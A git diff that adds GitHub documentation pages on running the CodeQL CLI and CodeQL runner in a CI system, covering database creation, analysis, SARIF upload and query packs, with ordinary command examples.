+**Note:** This article describes features present in the version of {% data variables.product.prodname_codeql_cli %} available at the time of the release of {% data variables.product.product_name %}. If your enterprise uses a more recent version of {% data variables.product.prodname_codeql_cli %}, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system) instead.
+
+{% endnote %}
+{% endif %}
+
+## About generating code scanning results with {% data variables.product.prodname_codeql_cli %}
+
+Once you've made the {% data variables.product.prodname_codeql_cli %} available to servers in your CI system, and ensured that they can authenticate with {% data variables.product.product_name %}, you're ready to generate data.
+
+You use three different commands to generate results and upload them to {% data variables.product.product_name %}:
+
+<!--Option to analyze multiple languages with one call-->
+1. `database create` to create a {% data variables.product.prodname_codeql %} database to represent the hierarchical structure of each supported programming language in the repository.
+2. ` database analyze` to run queries to analyze each {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file.
+3. `github upload-results` to upload the resulting SARIF files to {% data variables.product.product_name %} where the results are matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts.
+
+You can display the command-line help for any command using the <nobr>`--help`</nobr> option.
+
+{% data reusables.code-scanning.upload-sarif-ghas %}
+
+## Creating {% data variables.product.prodname_codeql %} databases to analyze
+
+1. Check out the code that you want to analyze:
+    - For a branch, check out the head of the branch that you want to analyze.
+    - For a pull request, check out either the head commit of the pull request, or check out a {% data variables.product.prodname_dotcom %}-generated merge commit of the pull request.
+2. Set up the environment for the codebase, making sure that any dependencies are available. For more information, see [Creating databases for non-compiled languages](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-non-compiled-languages) and [Creating databases for compiled languages](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-compiled-languages) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
+3. Find the build command, if any, for the codebase. Typically this is available in a configuration file in the CI system.
+4. Run `codeql database create` from the checkout root of your repository and build the codebase.
+
+  ```shell
+  # Single supported language - create one CodeQL database
+  codeql database create &lt;database&gt; --command&lt;build&gt; --language=&lt;language-identifier&gt;
+
+  # Multiple supported languages - create one CodeQL database per language
+  codeql database create &lt;database&gt; --command&lt;build&gt; \
+        --db-cluster --language=&lt;language-identifier&gt;,&lt;language-identifier&gt;
+  ```
+
+  {% note %}
+
+  **Note:** If you use a containerized build, you need to run the {% data variables.product.prodname_codeql_cli %} inside the container where your build task takes place.
+
+  {% endnote %}
+
+| Option | Required | Usage |
+|--------|:--------:|-----|
+| `<database>` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the name and location of a directory to create for the {% data variables.product.prodname_codeql %} database. The command will fail if you try to overwrite an existing directory. If you also specify `--db-cluster`, this is the parent directory and a subdirectory is created for each language analyzed.|
+| <nobr>`--language`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the identifier for the language to create a database for, one of: `{% data reusables.code-scanning.codeql-languages-keywords %}` (use `javascript` to analyze TypeScript code). When used with <nobr>`--db-cluster`</nobr>, the option accepts a comma-separated list, or can be specified more than once.
+| <nobr>`--command`</nobr> | | Recommended. Use to specify the build command or script that invokes the build process for the codebase. Commands are run from the current folder or, where it is defined, from <nobr>`--source-root`</nobr>. Not needed for Python and JavaScript/TypeScript analysis. |
+| <nobr>`--db-cluster`</nobr> | | Optional. Use in multi-language codebases to generate one database for each language specified by <nobr>`--language`</nobr>.
+| <nobr>`--no-run-unnecessary-builds`</nobr> | | Recommended. Use to suppress the build command for languages where the {% data variables.product.prodname_codeql_cli %} does not need to monitor the build (for example, Python and JavaScript/TypeScript).
+| <nobr>`--source-root`</nobr> | | Optional. Use if you run the CLI outside the checkout root of the repository. By default, the `database create` command assumes that the current directory is the root directory for the source files, use this option to specify a different location. |
+| <nobr>`--codescanning-config`</nobr> | | Optional (Advanced). Use if you have a configuration file that specifies how to create the {% data variables.product.prodname_codeql %} databases and what queries to run in later steps. For more information, see "[Using a custom configuration file](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-a-custom-configuration-file)" and "[database create](https://codeql.github.com/docs/codeql-cli/manual/database-create/#cmdoption-codeql-database-create-codescanning-config)." |
+
+For more information, see [Creating {% data variables.product.prodname_codeql %} databases](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
+
+### Single language example
+
+This example creates a {% data variables.product.prodname_codeql %} database for the repository checked out at `/checkouts/example-repo`. It uses the JavaScript extractor to create a hierarchical representation of the JavaScript and TypeScript code in the repository. The resulting database is stored in `/codeql-dbs/example-repo`.
+
+```
+$ codeql database create /codeql-dbs/example-repo --language=javascript \
+    --source-root /checkouts/example-repo
+
+> Initializing database at /codeql-dbs/example-repo.
+> Running command [/codeql-home/codeql/javascript/tools/autobuild.cmd]
+    in /checkouts/example-repo.
+> [build-stdout] Single-threaded extraction.
+> [build-stdout] Extracting
+...
+> Finalizing database at /codeql-dbs/example-repo.
+> Successfully created database at /codeql-dbs/example-repo.
+```
+
+### Multiple language example
+
+This example creates two {% data variables.product.prodname_codeql %} databases for the repository checked out at `/checkouts/example-repo-multi`. It uses:
+
+- `--db-cluster` to request analysis of more than one language.
+- `--language` to specify which languages to create databases for.
+- `--command` to tell the tool the build command for the codebase, here `make`.
+- `--no-run-unnecessary-builds` to tell the tool to skip the build command for languages where it is not needed (like Python).
+
+The resulting databases are stored in `python` and `cpp` subdirectories of `/codeql-dbs/example-repo-multi`.
+
+```
+$ codeql database create /codeql-dbs/example-repo-multi \
+    --db-cluster --language python,cpp \
+    --command make --no-run-unnecessary-builds \
+    --source-root /checkouts/example-repo-multi
+Initializing databases at /codeql-dbs/example-repo-multi.
+Running build command: [make]
+[build-stdout] Calling python3 /codeql-bundle/codeql/python/tools/get_venv_lib.py
+[build-stdout] Calling python3 -S /codeql-bundle/codeql/python/tools/python_tracer.py -v -z all -c /codeql-dbs/example-repo-multi/python/working/trap_cache -p ERROR: 'pip' not installed.
+[build-stdout] /usr/local/lib/python3.6/dist-packages -R /checkouts/example-repo-multi
+[build-stdout] [INFO] Python version 3.6.9
+[build-stdout] [INFO] Python extractor version 5.16
+[build-stdout] [INFO] [2] Extracted file /checkouts/example-repo-multi/hello.py in 5ms
+[build-stdout] [INFO] Processed 1 modules in 0.15s
+[build-stdout] <output from calling 'make' to build the C/C++ code>
+Finalizing databases at /codeql-dbs/example-repo-multi.
+Successfully created databases at /codeql-dbs/example-repo-multi.
+$
+```
+
+## Analyzing a {% data variables.product.prodname_codeql %} database
+
+1. Create a {% data variables.product.prodname_codeql %} database (see above).
+2. Run `codeql database analyze` on the database and specify which {% ifversion codeql-packs %}packs and/or {% endif %}queries to use.
+  ```shell
+  codeql database analyze &lt;database&gt; --format=&lt;format&gt; \
+      --output=&lt;output&gt;  {% ifversion codeql-packs %}--download &lt;packs,queries&gt;{% else %}&lt;queries&gt;{% endif %}
+  ```
+
+{% note %}
+
+**Note:** If you analyze more than one {% data variables.product.prodname_codeql %} database for a single commit, you must specify a SARIF category for each set of results generated by this command. When you upload the results to {% data variables.product.product_name %}, {% data variables.product.prodname_code_scanning %} uses this category to store the results for each language separately. If you forget to do this, each upload overwrites the previous results.
+
+```shell
+codeql database analyze &lt;database&gt; --format=&lt;format&gt; \
+    --sarif-category=&lt;language-specifier&gt; --output=&lt;output&gt; \
+    {% ifversion codeql-packs %}&lt;packs,queries&gt;{% else %}&lt;queries&gt;{% endif %}
+```
+{% endnote %}
+
+| Option | Required | Usage |
+|--------|:--------:|-----|
+| `<database>` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the path for the directory that contains the {% data variables.product.prodname_codeql %} database to analyze. |
+| `<packs,queries>` | | Specify {% data variables.product.prodname_codeql %} packs or queries to run. To run the standard queries used for {% data variables.product.prodname_code_scanning %}, omit this parameter. To see the other query suites included in the {% data variables.product.prodname_codeql_cli %} bundle, look in `/<extraction-root>/qlpacks/codeql/<language>-queries/codeql-suites`. For information about creating your own query suite, see [Creating CodeQL query suites](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
+| <nobr>`--format`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the format for the results file generated by the command. For upload to {% data variables.product.company_short %} this should be: {% ifversion fpt or ghae or ghec %}`sarif-latest`{% else %}`sarifv2.1.0`{% endif %}. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)."
+| <nobr>`--output`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify where to save the SARIF results file.
+| <nobr>`--sarif-category`<nobr> | {% octicon "question" aria-label="Required with multiple results sets" %} | Optional for single database analysis. Required to define the language when you analyze multiple databases for a single commit in a repository. Specify a category to include in the SARIF results file for this analysis. A category is used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code.|{% ifversion fpt or ghes > 3.3 or ghae or ghec %}
+| <nobr>`--sarif-add-query-help`</nobr> | | Optional. Use if you want to include any available markdown-rendered query help for custom queries used in your analysis. Any query help for custom queries included in the SARIF output will be displayed in the code scanning UI if the relevant query generates an alert. For more information, see [Analyzing databases with the {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/#including-query-help-for-custom-codeql-queries-in-sarif-files) in the documentation for the {% data variables.product.prodname_codeql_cli %}.{% endif %}{% ifversion codeql-packs %}
+| `<packs>` | | Optional. Use if you want to include CodeQL query packs in your analysis. For more information, see "[Downloading and using {% data variables.product.prodname_codeql %} packs](#downloading-and-using-codeql-query-packs)."
+| <nobr>`--download`</nobr> | | Optional. Use if some of your CodeQL query packs are not yet on disk and need to be downloaded before running queries.{% endif %}
+| <nobr>`--threads`</nobr> | | Optional. Use if you want to use more than one thread to run queries. The default value is `1`. You can specify more threads to speed up query execution. To set the number of threads to the number of logical processors, specify `0`.
+| <nobr>`--verbose`</nobr> | | Optional. Use to get more detailed information about the analysis process and diagnostic data from the database creation process.
+
+For more information, see [Analyzing databases with the {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
+
+### Basic example
+
+This example analyzes a {% data variables.product.prodname_codeql %} database stored at `/codeql-dbs/example-repo` and saves the results as a SARIF file: `/temp/example-repo-js.sarif`. It uses `--sarif-category` to include extra information in the SARIF file that identifies the results as JavaScript. This is essential when you have more than one {% data variables.product.prodname_codeql %} database to analyze for a single commit in a repository.
+
+```
+$ codeql database analyze /codeql-dbs/example-repo  \
+    javascript-code-scanning.qls --sarif-category=javascript \
+    --format={% ifversion fpt or ghae or ghec %}sarif-latest{% else %}sarifv2.1.0{% endif %} --output=/temp/example-repo-js.sarif
+
+> Running queries.
+> Compiling query plan for /codeql-home/codeql/qlpacks/codeql-javascript/AngularJS/DisablingSce.ql.
+...
+> Shutting down query evaluator.
+> Interpreting results.
+```
+
+## Uploading results to {% data variables.product.product_name %}
+
+{% data reusables.code-scanning.upload-sarif-alert-limit %}
+
+Before you can upload results to {% data variables.product.product_name %}, you must determine the best way to pass the {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} you created earlier to the {% data variables.product.prodname_codeql_cli %} (see [Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system#generating-a-token-for-authentication-with-github)). We recommend that you review your CI system's guidance on the secure use of a secret store. The {% data variables.product.prodname_codeql_cli %} supports:
+
+- Passing the token to the CLI via standard input using the `--github-auth-stdin` option (recommended).
+- Saving the secret in the environment variable `GITHUB_TOKEN` and running the CLI without including the `--github-auth-stdin` option.
+
+When you have decided on the most secure and reliable method for your CI server, run `codeql github upload-results` on each SARIF results file and include `--github-auth-stdin` unless the token is available in the environment variable `GITHUB_TOKEN`.
+
+  ```shell
+  echo "$UPLOAD_TOKEN" | codeql github upload-results --repository=&lt;repository-name&gt; \
+      --ref=&lt;ref&gt; --commit=&lt;commit&gt; --sarif=&lt;file&gt; \
+      {% ifversion ghes or ghae %}--github-url=&lt;URL&gt; {% endif %}--github-auth-stdin
+  ```
+
+| Option | Required | Usage |
+|--------|:--------:|-----|
+| <nobr>`--repository`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the *OWNER/NAME* of the repository to upload data to. The owner must be an organization within an enterprise that has a license for {% data variables.product.prodname_GH_advanced_security %} and {% data variables.product.prodname_GH_advanced_security %} must be enabled for the repository{% ifversion fpt or ghec %}, unless the repository is public{% endif %}. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
+| <nobr>`--ref`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the name of the `ref` you checked out and analyzed so that the results can be matched to the correct code. For a branch use: `refs/heads/BRANCH-NAME`, for the head commit of a pull request use `refs/pull/NUMBER/head`, or for the {% data variables.product.prodname_dotcom %}-generated merge commit of a pull request use `refs/pull/NUMBER/merge`.
+| <nobr>`--commit`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the full SHA of the commit you analyzed.
+| <nobr>`--sarif`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the SARIF file to load.{% ifversion ghes or ghae %}
+| <nobr>`--github-url`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the URL for {% data variables.product.product_name %}.{% endif %}
+| <nobr>`--github-auth-stdin`</nobr> | | Optional. Use to pass the CLI the {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} created for authentication with {% data variables.product.company_short %}'s REST API via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token.
+
+For more information, see [github upload-results](https://codeql.github.com/docs/codeql-cli/manual/github-upload-results/) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
+
+### Basic example
+
+This example uploads results from the SARIF file `temp/example-repo-js.sarif` to the repository `my-org/example-repo`. It tells the {% data variables.product.prodname_code_scanning %} API that the results are for the commit `deb275d2d5fe9a522a0b7bd8b6b6a1c939552718` on the `main` branch.
+
+```
+$ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-repo \
+    --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \
+    --sarif=/temp/example-repo-js.sarif {% ifversion ghes or ghae %}--github-url={% data variables.command_line.git_url_example %} \
+    {% endif %}--github-auth-stdin
+```
+
+There is no output from this command unless the upload was unsuccessful. The command prompt returns when the upload is complete and data processing has begun. On smaller codebases, you should be able to explore the {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.product_name %} shortly afterward. You can see alerts directly in the pull request or on the **Security** tab for branches, depending on the code you checked out. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)" and "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)."
+
+{% ifversion codeql-packs %}
+## Downloading and using {% data variables.product.prodname_codeql %} query packs
+
+{% data reusables.code-scanning.beta-codeql-packs-cli %}
+
+The {% data variables.product.prodname_codeql_cli %} bundle includes queries that are maintained by {% data variables.product.company_short %} experts, security researchers, and community contributors. If you want to run queries developed by other organizations, {% data variables.product.prodname_codeql %} query packs provide an efficient and reliable way to download and run queries. For more information, see "[About code scanning with CodeQL](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries)."
+
+Before you can use a {% data variables.product.prodname_codeql %} pack to analyze a database, you must download any packages you require from the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}. This can be done either by using the `--download` flag as part of the `codeql database analyze` command. If a package is not publicly available, you will need to use a {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} to authenticate. For more information and an example, see "[Uploading results to {% data variables.product.product_name %}](#uploading-results-to-github)" above.
+
+| Option | Required | Usage |
+|--------|:--------:|-----|
+| <nobr>`<scope/name@version:path>`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the scope and name of one or more CodeQL query packs to download using a comma-separated list. Optionally, include the version to download and unzip. By default the latest version of this pack is downloaded. Optionally, include a path to a query, directory, or query suite to run. If no path is included, then run the default queries of this pack. |
+| <nobr>`--github-auth-stdin`</nobr> | | Optional. Pass the {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} created for authentication with {% data variables.product.company_short %}'s REST API to the CLI via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token.
+
+### Basic example
+
+This example runs the `codeql database analyze` command with the `--download` option to:
+
+1. Download the latest version of the `octo-org/security-queries` pack.
+2. Download a version of the `octo-org/optional-security-queries` pack that is *compatible* with version 1.0.1 (in this case, it is version 1.0.2). For more information on semver compatibility, see [npm's semantic version range documentation](https://github.com/npm/node-semver#ranges).
+3. Run all the default queries in `octo-org/security-queries`.
+4. Run only the query `queries/csrf.ql` from `octo-org/optional-security-queries`
+
+```
+$ echo $OCTO-ORG_ACCESS_TOKEN | codeql database analyze --download /codeql-dbs/example-repo \
+    octo-org/security-queries \
+    octo-org/optional-security-queries@~1.0.1:queries/csrf.ql \
+    --format=sarif-latest --output=/temp/example-repo-js.sarif
+
+> Download location: /Users/mona/.codeql/packages
+> Installed fresh octo-org/security-queries@1.0.0
+> Installed fresh octo-org/optional-security-queries@1.0.2
+> Running queries.
+> Compiling query plan for /Users/mona/.codeql/packages/octo-org/security-queries/1.0.0/potential-sql-injection.ql.
+> [1/2] Found in cache: /Users/mona/.codeql/packages/octo-org/security-queries/1.0.0/potential-sql-injection.ql.
+> Starting evaluation of octo-org/security-queries/query1.ql.
+> Compiling query plan for /Users/mona/.codeql/packages/octo-org/optional-security-queries/1.0.2/queries/csrf.ql.
+> [2/2] Found in cache: /Users/mona/.codeql/packages/octo-org/optional-security-queries/1.0.2/queries/csrf.ql.
+> Starting evaluation of octo-org/optional-security-queries/queries/csrf.ql.
+> [2/2 eval 694ms] Evaluation done; writing results to octo-org/security-queries/query1.bqrs.
+> Shutting down query evaluator.
+> Interpreting results.
+```
+
+### Direct download of {% data variables.product.prodname_codeql %} packs
+
+If you want to download a {% data variables.product.prodname_codeql %} pack without running it immediately, then you can use the `codeql pack download` command. This is useful if you want to avoid accessing the internet when running {% data variables.product.prodname_codeql %} queries. When you run the {% data variables.product.prodname_codeql %} analysis, you can specify packs, versions, and paths in the same way as in the previous example:
+
+```shell
+echo $OCTO-ORG_ACCESS_TOKEN | codeql pack download &lt;scope/name@version:path&gt; &lt;scope/name@version:path&gt; ...
+```
+
+### Downloading {% data variables.product.prodname_codeql %} packs from multiple {% data variables.product.company_short %} container registries
+
+If your {% data variables.product.prodname_codeql %} packs reside on multiple container registries, then you must instruct the {% data variables.product.prodname_codeql_cli %} where to find each pack. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors#downloading-codeql-packs-from-github-enterprise-server)."
+{% endif %}
+
+## Example CI configuration for {% data variables.product.prodname_codeql %} analysis
+
+This is an example of the series of commands that you might use to analyze a codebase with two supported languages and then upload the results to {% data variables.product.product_name %}.
+
+```shell
+# Create CodeQL databases for Java and Python in the 'codeql-dbs' directory
+# Call the normal build script for the codebase: 'myBuildScript'
+
+codeql database create codeql-dbs --source-root=src \
+    --db-cluster --language=java,python --command=./myBuildScript
+
+# Analyze the CodeQL database for Java, 'codeql-dbs/java'
+# Tag the data as 'java' results and store in: 'java-results.sarif'
+
+codeql database analyze codeql-dbs/java java-code-scanning.qls \
+    --format=sarif-latest --sarif-category=java --output=java-results.sarif
+
+# Analyze the CodeQL database for Python, 'codeql-dbs/python'
+# Tag the data as 'python' results and store in: 'python-results.sarif'
+
+codeql database analyze codeql-dbs/python python-code-scanning.qls \
+    --format=sarif-latest --sarif-category=python --output=python-results.sarif
+
+# Upload the SARIF file with the Java results: 'java-results.sarif'
+
+echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-repo \
+    --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \
+    --sarif=java-results.sarif --github-auth-stdin
+
+# Upload the SARIF file with the Python results: 'python-results.sarif'
+
+echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-repo \
+    --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \
+    --sarif=python-results.sarif --github-auth-stdin
+```
+
+## Troubleshooting the {% data variables.product.prodname_codeql_cli %} in your CI system
+
+### Viewing log and diagnostic information
+
+When you analyze a {% data variables.product.prodname_codeql %} database using a {% data variables.product.prodname_code_scanning %} query suite, in addition to generating detailed information about alerts, the CLI reports diagnostic data from the database generation step and summary metrics. For repositories with few alerts, you may find this information useful for determining if there are genuinely few problems in the code, or if there were errors generating the {% data variables.product.prodname_codeql %} database. For more detailed output from `codeql database analyze`, use the `--verbose` option.
+
+For more information about the type of diagnostic information available, see "[Viewing {% data variables.product.prodname_code_scanning %} logs](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs#about-analysis-and-diagnostic-information)".
+
+### {% data variables.product.prodname_code_scanning_capc %} only shows analysis results from one of the analyzed languages
+
+By default, {% data variables.product.prodname_code_scanning %} expects one SARIF results file per analysis for a repository. Consequently, when you upload a second SARIF results file for a commit, it is treated as a replacement for the original set of data.
+
+If you want to upload more than one set of results to the {% data variables.product.prodname_code_scanning %} API for a commit in a repository, you must identify each set of results as a unique set. For repositories where you create more than one {% data variables.product.prodname_codeql %} database to analyze for each commit, use the `--sarif-category` option to specify a language or other unique category for each SARIF file that you generate for that repository.
+
+{% ifversion fpt or ghec or ghes > 3.7 or ghae > 3.7 %}
+### Issues with Python extraction
+
+We are deprecating Python 2 support for the {% data variables.product.prodname_codeql_cli %}, more specifically for the CodeQL database generation phase (code extraction).
+
+If you use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} on code written in Python, you must make sure that your CI system has Python 3 installed.
+
+{% endif %}
+
+## Further reading
+
+- [Creating CodeQL databases](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/)
+- [Analyzing databases with the CodeQL CLI](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/)
+- [Publishing and using CodeQL packs](https://codeql.github.com/docs/codeql-cli/publishing-and-using-codeql-packs/)
diff --git a/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md
new file mode 100644
index 0000000000..7f3980e350
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md
@@ -0,0 +1,216 @@
+---
+title: Configuring CodeQL runner in your CI system
+shortTitle: Configure CodeQL runner
+intro: 'You can configure how the {% data variables.code-scanning.codeql_runner %} scans the code in your project and uploads the results to {% data variables.product.prodname_dotcom %}.'
+product: '{% data reusables.gated-features.code-scanning %}'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning-in-your-ci-system
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-codeql-code-scanning-in-your-ci-system
+  - /code-security/secure-coding/configuring-codeql-code-scanning-in-your-ci-system
+  - /code-security/secure-coding/configuring-codeql-runner-in-your-ci-system
+  - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system
+versions:
+  feature: codeql-runner-supported
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+  - Integration
+  - CI
+  - Repositories
+  - Pull requests
+  - C/C++
+  - C#
+  - Java
+---
+
+
+{% data reusables.code-scanning.deprecation-codeql-runner %}
+{% data reusables.code-scanning.beta %}
+{% data reusables.code-scanning.enterprise-enable-code-scanning %}
+
+## About configuring {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system
+
+To integrate {% data variables.product.prodname_code_scanning %} into your CI system, you can use the {% data variables.code-scanning.codeql_runner %}. For more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)."
+
+In general, you invoke the {% data variables.code-scanning.codeql_runner %} as follows.
+
+```shell
+$ /path/to-runner/codeql-runner-OS <COMMAND> <FLAGS>
+```
+
+`/path/to-runner/` depends on where you've downloaded the {% data variables.code-scanning.codeql_runner %} on your CI system. `codeql-runner-OS` depends on the operating system you use.
+There are three versions of the {% data variables.code-scanning.codeql_runner %}, `codeql-runner-linux`, `codeql-runner-macos`, and `codeql-runner-win`, for Linux, macOS, and Windows systems respectively. 
+
+To customize the way the {% data variables.code-scanning.codeql_runner %} scans your code, you can use flags, such as `--languages` and `--queries`, or you can specify custom settings in a separate configuration file.
+
+## Scanning pull requests
+
+Scanning code whenever a pull request is created prevents developers from introducing new vulnerabilities and errors into the code.
+
+To scan a pull request, run the `analyze` command and use the `--ref` flag to specify the pull request. The reference is `refs/pull/<PR-number>/head` or `refs/pull/<PR-number>/merge`, depending on whether you have checked out the HEAD commit of the pull request branch or a merge commit with the base branch.
+
+```shell
+$ /path/to-runner/codeql-runner-linux analyze --ref refs/pull/42/merge
+```
+
+{% note %}
+
+**Note**: If you analyze code with a third-party tool and want the results to appear as pull request checks, you must run the `upload` command and use the `--ref` flag to specify the pull request instead of the branch. The reference is `refs/pull/<PR-number>/head` or `refs/pull/<PR-number>/merge`.
+
+{% endnote %}
+
+## Overriding automatic language detection
+
+The {% data variables.code-scanning.codeql_runner %} automatically detects and scans code written in the supported languages.
+
+{% data reusables.code-scanning.codeql-languages-bullets %}
+
+{% data reusables.code-scanning.specify-language-to-analyze %}
+
+To override automatic language detection, run the `init` command with the `--languages` flag, followed by a comma-separated list of language keywords. The keywords for the supported languages are {% data reusables.code-scanning.codeql-languages-keywords %}.
+
+```shell
+$ /path/to-runner/codeql-runner-linux init --languages cpp,java
+```
+
+## Running additional queries
+
+{% data reusables.code-scanning.run-additional-queries %}
+
+{% data reusables.code-scanning.codeql-query-suites-explanation %}
+
+To add one or more queries, pass a comma-separated list of paths to the `--queries` flag of the `init` command. You can also specify additional queries in a configuration file.
+
+If you also are using a configuration file for custom settings, and you are also specifying additional queries with the `--queries` flag, the {% data variables.code-scanning.codeql_runner %} uses the additional queries specified with the <nobr>`--queries`</nobr> flag instead of any in the configuration file.
+If you want to run the combined set of additional queries specified with the flag and in the configuration file, prefix the value passed to <nobr>`--queries`</nobr> with the `+` symbol.
+For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)."
+
+In the following example, the `+` symbol ensures that the {% data variables.code-scanning.codeql_runner %} uses the additional queries together with any queries specified in the referenced configuration file.
+
+```shell
+$ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml 
+    --queries +security-and-quality,octo-org/python-qlpack/show_ifs.ql@main
+```
+
+## Using a custom configuration file
+
+Instead of passing additional information to the {% data variables.code-scanning.codeql_runner %} commands, you can specify custom settings in a separate configuration file.
+
+The configuration file is a YAML file. It uses syntax similar to the workflow syntax for {% data variables.product.prodname_actions %}, as illustrated in the examples below. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)." 
+
+Use the `--config-file` flag of the `init` command to specify the configuration file. The value of <nobr>`--config-file`</nobr> is the path to the configuration file that you want to use. This example loads the configuration file _.github/codeql/codeql-config.yml_.
+
+```shell
+$ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml
+```
+
+{% data reusables.code-scanning.custom-configuration-file %}
+
+### Example configuration files
+
+{% data reusables.code-scanning.example-configuration-files %}
+
+## Configuring {% data variables.product.prodname_code_scanning %} for compiled languages
+
+For the compiled languages C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} and Java, {% data variables.product.prodname_codeql %} builds the code before analyzing it. {% data reusables.code-scanning.analyze-go %}
+
+For many common build systems, the {% data variables.code-scanning.codeql_runner %} can build the code automatically. To attempt to build the code automatically, run `autobuild` between the `init` and `analyze` steps. Note that if your repository requires a specific version of a build tool, you may need to install the build tool manually first. 
+
+The `autobuild` process only ever attempts to build _one_ compiled language for a repository. The language automatically selected for analysis is the language with the most files. If you want to choose a language explicitly, use the `--language` flag of the `autobuild` command.
+
+```shell
+$ /path/to-runner/codeql-runner-linux autobuild --language csharp
+```
+
+If the `autobuild` command can't build your code, you can run the build steps yourself, between the `init` and `analyze` steps. For more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example)."
+
+## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %}
+
+By default, the {% data variables.code-scanning.codeql_runner %} uploads results from {% data variables.product.prodname_code_scanning %} when you run the `analyze` command. You can also upload SARIF files separately, by using the `upload` command.
+
+Once you've uploaded the data, {% data variables.product.prodname_dotcom %} displays the alerts in your repository. 
+- If you uploaded to a pull request, for example `--ref refs/pull/42/merge` or `--ref refs/pull/42/head`, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)."
